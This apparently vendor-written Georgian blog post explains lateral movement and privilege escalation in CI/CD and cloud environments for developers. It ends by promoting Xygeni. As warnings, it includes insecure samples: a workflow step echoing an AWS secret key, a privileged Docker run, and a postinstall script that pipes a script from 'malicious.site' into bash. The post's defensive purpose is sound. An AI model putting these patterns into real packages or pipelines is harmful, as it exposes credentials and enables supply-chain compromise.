რა არის გვერდითი მოძრაობა კიბერუსაფრთხოებაში და რატომ არის ის მნიშვნელოვანი დეველოპერებისთვის
თუ თქვენ ხართ დეველოპერი და ინფრასტრუქტურას კოდის სახით წერთ, აწყობთ pipelineკონტეინერების განლაგებისას, თქვენ უნდა გესმოდეთ, თუ რა არის გვერდითი მოძრაობა კიბერუსაფრთხოებაში. ეს არ არის მხოლოდ წითელი გუნდის ტაქტიკა; ეს არის ის, თუ როგორ მოძრაობენ რეალური თავდამსხმელები თქვენს სისტემებში პირველი დარღვევის შემდეგ. და ეს პირდაპირ გავლენას ახდენს თქვენს სამუშაო პროცესებზე. ეს ეხება თავდამსხმელის უნარს, გადავიდეს სხვადასხვა სისტემაში, კომპრომეტირებული CI მორბენლიდან ღრუბლოვან ანგარიშზე ან კონტეინერიდან თქვენს საკონტროლო სიბრტყეზე. პრივილეგიების ესკალაცია კი სწორედ ამას შესაძლებელს ხდის: შეზღუდული წვდომის ადმინისტრაციულ კონტროლად გადაქცევა.
რატომ არის ეს მნიშვნელოვანი დეველოპერებისთვის:
- Pipelineხშირად ძალიან ბევრი ნებართვით მუშაობს
- საიდუმლოებები სხვადასხვა გარემოში ხელახლა გამოიყენება
- არასწორად კონფიგურირებული კონტეინერები სხვა სერვისებზე გადასასვლელად გზებს ხსნის
კიბერუსაფრთხოებაში გვერდითი მოძრაობის ცოდნა პირველი ნაბიჯია. მისი კოდში შეჩერება და pipeline დონე არის ის, სადაც დეველოპერები შემოდიან.
პრივილეგიების ესკალაცია, როგორც გვერდითი მოძრაობის საწვავი
პრივილეგიების ესკალაცია არის ის, რაც მცირე დარღვევას დიდ გვერდით მოძრაობად აქცევს. შიგნით მოხვედრის შემდეგ, თავდამსხმელები ეძებენ ნებისმიერ გზას წვდომის გასაზრდელად, იქნება ეს გაჟონილი გასაღებები, არასწორად კონფიგურირებული სერვისები თუ ზედმეტად ნებართვიანი როლები.
მაგალითები, რომლებიც დეველოპერებმა უნდა გაითვალისწინონ:
- GitHub Actions-ის დავალებები სრული ფუნქციით მუშაობს AWS-ის ნებართვები
- სკრიპტებში ჩაწერილი ადმინისტრატორის ავტორიზაციის მონაცემები
- კონტეინერები, რომლებიც ამონტაჟებენ Docker-ის სოკეტს ან ჰოსტის ბილიკებს
- CI სამუშაოები, რომელთა გამოყენებაც პირდაპირ წარმოებაში შეიძლება
⚠️გაფრთხილება: არასოდეს დაბეჭდოთ საიდუმლოებები ან ტოკენები ჟურნალებში. ეს პრივილეგიების ესკალაციის გავრცელებული წყაროა.
# insecure GitHub Actions job
jobs:
deploy:
steps:
- name: Expose secrets
run: echo $AWS_SECRET_ACCESS_KEY
გარეშე guardrailsთავდამსხმელები ბოროტად იყენებენ ამ პრივილეგიებს, რათა გადაადგილდნენ ლატერალურად, ერთი სამუშაოდან, კონტეინერიდან ან სერვისიდან მეორეზე. პრივილეგიების ესკალაცია არის ის, რაც თანამედროვე ლატერალურ მოძრაობას განაპირობებს. DevOps გარემო.
საერთო გზები CI/CD და ღრუბლოვანი გარემო
კიბერუსაფრთხოებაში გვერდითი მოძრაობის გაგება რეალური თავდამსხმელის გზების განსაზღვრით იწყება. დეველოპერების გარემო სავსეა ასეთი გზებით.
მაღალი რისკის მქონე გვერდითი მოძრაობის ვექტორები:
- მრავალჯერადად გამოყენებული ტოკენები ან ავტორიზაციის მონაცემები pipelines
- კონტეინერები, რომლებიც მუშაობენ პრივილეგირებული ან hostPath წვდომა
- ბრტყელი ქსელის ტოპოლოგიები სერვისის იზოლაციის გარეშე
- ღია კოდის დამოკიდებულებები წინასწარი/ინსტალაციის შემდგომი სკრიპტებით
⚠️გაფრთხილება: მოერიდეთ ამაღლებული პრივილეგიების მქონე კონტეინერების გაშვებას, თუ ეს აუცილებელი არ არის.
# insecure Docker command
docker run --privileged my-container
⚠️გაფრთხილება: მესამე მხარის პაკეტებში ინსტალაციის შემდგომი სკრიპტები ცნობილი შეტევის ვექტორია.
"scripts": {
"postinstall": "curl http://malicious.site/script.sh | bash"
}
ეს არის ხშირი ადგილები, სადაც გვერდითი მოძრაობა იწყება, როდესაც ერთი კომპრომეტირებული სამუშაო ან კომპონენტი მეორემდე ან სხვამდე მიდის.
გვერდითი მოძრაობის აღმოჩენა და შეკავება მანამ, სანამ ის წარმოებას მიაღწევს
გვერდითი მოძრაობის შესაჩერებლად სრული SOC არ გჭირდებათ; თქვენ გჭირდებათ ხილვადობა და კონტროლი დეველოპერის დონეზე.
როგორ ამოვიცნოთ პრივილეგიების ესკალაცია და გვერდითი მოძრაობა ადრეულ ეტაპზე:
- აკონტროლეთ, თუ სად გამოიყენება ავტორიზაციის მონაცემებიმოულოდნელი გამოყენება დაუკავშირებელ სამუშაოებში საშიშროების ნიშანია.
- უჩვეულო ბრძანებების თვალყურის დევნებაBase64 დეკოდირება, გამავალი ქსელური ზარები ან CI-ში დაჩრდილულ ფაილებზე წვდომა ცუდი ნიშნებია.
- გამოყენება მინიმალური პრივილეგია in pipelinesარ მისცეთ prod-ს დანერგვის უფლებები დავალებების შესამოწმებლად.
რჩევა: დაუცველი Docker-ის გამოყენების სკანირება შიგნით pipelines.
- name: Check for --privileged flag
run: |
grep -- '--privileged' Dockerfile || echo "OK"
პრივილეგიების ესკალაციის აღმოჩენა შესაძლებელია მანამ, სანამ ისინი რეალურ ზიანს მიაყენებენ, თუ სამუშაო პროცესში აღმოჩენის ფაქტს ჩართავთ.
აღმოჩენის მიღმა: როგორ გვეხმარება Xygeni ექსპლუატაციის გზების კვალის დადგენაში
გვერდითი მოძრაობა შემთხვევითი არ არის; ის მიჰყვება ნიმუშებს. ქსიგენი ეხმარება დეველოპერების გუნდებს ამ შაბლონების რუკაზე დატანაში თავდამსხმელებამდე. როგორ გვეხმარება Xygeni:
- ვიზუალიზაციას უკეთებს საცავებში არსებულ გზებს, CI/CDდა ღრუბელი
- განსაზღვრავს პრივილეგიების ესკალაციის წერტილებს შექმნის სამუშაოებსა და კონტეინერებში.
- აღნიშნავს საიდუმლოებების, ტოკენების და მაღალი რისკის შემცველი პაკეტების ბოროტად გამოყენებას
- დროთა განმავლობაში ანომალიების აღმოსაჩენად ქცევითი საბაზისო ნიშნულებს ქმნის
ასე გადაინაცვლებთ მარცხნივ, არა მხოლოდ ტესტირებისას, არამედ გვერდითი მოძრაობისა და პრივილეგიების ბოროტად გამოყენების შეჩერებისას, სანამ წარმოებას შეეხებით.
პრივილეგიების ესკალაციის შეჩერება: თქვენი საუკეთესო დაცვა გვერდითი მოძრაობისგან
თქვენ არ შეგიძლიათ შეაჩეროთ ის, რასაც ვერ ხედავთ. და თუ არ გესმით, რა არის გვერდითი მოძრაობა კიბერუსაფრთხოებაში, თქვენი კოდი, pipelines და კონტეინერები უკვე გამოფენილია.
თქვენი განვითარების სასიცოცხლო ციკლის უზრუნველსაყოფად:
- პრივილეგიების ესკალაციის მიჩნევა, როგორც AppSec-ის ძირითადი რისკი
- გვერდითი მოძრაობის ადრეული ნიშნების მონიტორინგი CI/CD და ღრუბელი
- გამოიყენეთ Xygeni-ს მსგავსი ინსტრუმენტები, რათა თვალყური ადევნოთ თავდამსხმელის ბილიკებს კოდში, აწყობებსა და განლაგებებში.
ეს თეორიული არ არის. ეს თქვენი გარემოა, თუ მას არ ჩაკეტავთ.
